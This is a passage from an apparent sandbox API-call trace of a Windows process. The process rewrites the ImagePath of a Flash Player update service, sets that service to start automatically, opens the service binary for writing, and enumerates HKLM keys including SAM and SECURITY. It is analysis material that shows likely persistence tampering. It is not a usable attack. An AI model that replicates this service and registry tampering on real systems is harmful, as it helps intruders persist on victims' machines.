hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0234.841] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0234.841] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" [0234.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0234.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0234.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0234.841] LocalFree (hMem=0x7f03d0) returned 0x0 [0234.841] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0234.841] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x2) returned 0x8038a0 [0234.841] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0234.843] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0234.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0234.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0234.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0234.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0234.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0234.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.844] RegCloseKey (hKey=0x150) returned 0x0 [0234.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0234.844] RegCloseKey (hKey=0x154) returned 0x0 [0234.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0234.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0234.844] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc905990, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xc905990, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x83a38000, ftLastWriteTime.dwHighDateTime=0x1d35cdb, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0234.844] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.844] GetLastError () returned 0x20 [0234.844] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0234.845] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0234.845] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0234.845] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v4.0.30319_32", dwDesiredAccess=0x20) returned 0x803990 [0234.846] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0234.846] GetLastError () returned 0x426 [0234.846] CloseServiceHandle (hSCObject=0x803990) returned 1 [0234.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0234.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0234.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0234.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0234.846] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0234.846] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0234.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0234.846] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0234.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.847] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0234.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0234.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.847] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0234.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0234.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0234.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.847] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0234.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0234.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.847] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0234.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0234.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.848] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0234.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0234.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.848] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0234.848] RegCloseKey (hKey=0x80000002) returned 0x0 [0234.848] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0234.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0234.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0234.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.848] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0234.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0234.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0234.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.849] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0234.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0234.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1cd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0234.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.849] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0234.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0234.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0234.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.849] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0234.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0234.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.850] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0234.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0234.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0234.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.850] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0234.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0234.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.850] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0234.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0234.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0234.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.850] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.850] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0234.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0234.850] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0234.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.851] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0234.851] RegCloseKey (hKey=0x150) returned 0x0 [0234.851] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0234.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0234.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0234.851] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0234.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.851] RegEnumKeyW (in: hKey=0x154, 